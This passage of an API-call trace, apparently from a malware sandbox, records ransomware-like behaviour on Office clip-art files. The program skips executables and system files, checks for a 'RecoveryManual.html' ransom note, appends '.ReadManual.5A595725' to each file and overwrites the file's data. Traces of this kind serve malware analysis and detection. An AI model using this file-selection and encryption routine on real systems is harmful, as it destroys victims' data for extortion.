psz2="cmd") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.235] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.235] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.235] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" [0269.235] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.ReadManual.5A595725" [0269.235] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.ReadManual.5A595725") returned 87 [0269.235] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38990346514) returned 1 [0269.235] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf")) returned 0x20 [0269.235] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.235] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=37658) returned 1 [0269.235] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x931a, lpName=0x0) returned 0x184 [0269.235] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.236] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.236] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.238] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.238] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x931a) returned 0x2f0000 [0269.239] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.239] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38990824473) returned 1 [0269.240] CloseHandle (hObject=0x184) returned 1 [0269.240] SetSecurityInfo () returned 0x57 [0269.240] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.240] CloseHandle (hObject=0x194) returned 1 [0269.240] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1 [0269.240] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287020.WMF" | out: lpString1="J0287020.WMF") returned="J0287020.WMF" [0269.240] lstrcmpiW (lpString1="J0287020.WMF", lpString2="RecoveryManual.html") returned -1 [0269.240] StrStrIW (lpFirst="J0287020.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.240] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.240] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.240] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" [0269.240] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.ReadManual.5A595725" [0269.240] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.ReadManual.5A595725") returned 87 [0269.240] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38990924601) returned 1 [0269.241] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf")) returned 0x20 [0269.241] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.241] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32984) returned 1 [0269.241] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80d8, lpName=0x0) returned 0x184 [0269.241] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.242] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.242] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.244] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.244] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80d8) returned 0x2f0000 [0269.245] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.245] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38991401432) returned 1 [0269.245] CloseHandle (hObject=0x184) returned 1 [0269.245] SetSecurityInfo () returned 0x57 [0269.246] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.246] CloseHandle (hObject=0x194) returned 1 [0269.246] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1 [0269.246] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287024.WMF" | out: lpString1="J0287024.WMF") returned="J0287024.WMF" [0269.246] lstrcmpiW (lpString1="J0287024.WMF", lpString2="RecoveryManual.html") returned -1 [0269.246] StrStrIW (lpFirst="J0287024.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.246] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.246] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.246] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" [0269.246] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.ReadManual.5A595725" [0269.246] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.ReadManual.5A595725") returned 87 [0269.246] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38991523430) returned 1 [0269.247] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf")) returned 0x20 [0269.247] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.247] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=50898) returned 1 [0269.247] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc6d2, lpName=0x0) returned 0x184 [0269.247] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.248] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.248] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.250] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.250] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc6d2) returned 0x2f0000 [0269.251] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.252] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38992029236) returned 1 [0269.252] CloseHandle (hObject=0x184) returned 1 [0269.252] SetSecurityInfo () returned 0x57 [0269.252] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.252] CloseHandle (hObject=0x194) returned 1 [0269.252] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1 [0269.252] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287408.WMF" | out: lpString1="J0287408.WMF") returned="J0287408.WMF" [0269.252] lstrcmpiW (lpString1="J0287408.WMF", lpString2="RecoveryManual.html") returned -1 [0269.252] StrStrIW (lpFirst="J0287408.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.252] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.252] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.252] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" [0269.252] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.ReadManual.5A595725" [0269.252] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.ReadManual.5A595725") returned 87 [0269.252] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38992126172) returned 1 [0269.253] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf")) returned 0x20 [0269.253] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.253] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=52496) returned 1 [0269.253] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd10, lpName=0x0) returned 0x184 [0269.253] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.254] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.254] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.255] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.256] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcd10) returned 0x2f0000 [0269.257] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.257] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38992618403) returned 1 [0269.257] CloseHandle (hObject=0x184) returned 1 [0269.258] SetSecurityInfo () returned 0x57 [0269.258] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.258] CloseHandle (hObject=0x194) returned 1 [0269.258] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1 [0269.258] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287415.WMF" | out: lpString1="J0287415.WMF") returned="J0287415.WMF" [0269.258] lstrcmpiW (lpString1="J0287415.WMF", lpString2="RecoveryManual.html") returned -1 [0269.258] StrStrIW (lpFirst="J0287415.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.258] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.258] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.258] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" [0269.258] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.ReadManual.5A595725" [0269.258] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.ReadManual.5A595725") returned 87 [0269.258] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38992717208) returned 1 [0269.258] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf")) returned 0x20 [0269.259] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.259] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=43020) returned 1 [0269.259] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa80c, lpName=0x0) returned 0x184 [0269.259] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.260] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.260] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.262] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.262] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa80c) returned 0x2f0000 [0269.263] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.264] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38993236996) returned 1 [0269.264] CloseHandle (hObject=0x184) returned 1 [0269.264] SetSecurityInfo () returned 0x57 [0269.264] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.264] CloseHandle (hObject=0x194) returned 1 [0269.264] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1 [0269.264] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287417.WMF" | out: lpString1="J0287417.WMF") returned="J0287417.WMF" [0269.264] lstrcmpiW (lpString1="J0287417.WMF", lpString2="RecoveryManual.html") returned -1 [0269.264] StrStrIW (lpFirst="J0287417.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.264] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.264] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.264] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" [0269.265] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.ReadManual.5A595725" [0269.265] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.ReadManual.5A595725") returned 87 [0269.265] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38993338121) returned 1 [0269.265] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf")) returned 0x20 [0269.265] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), 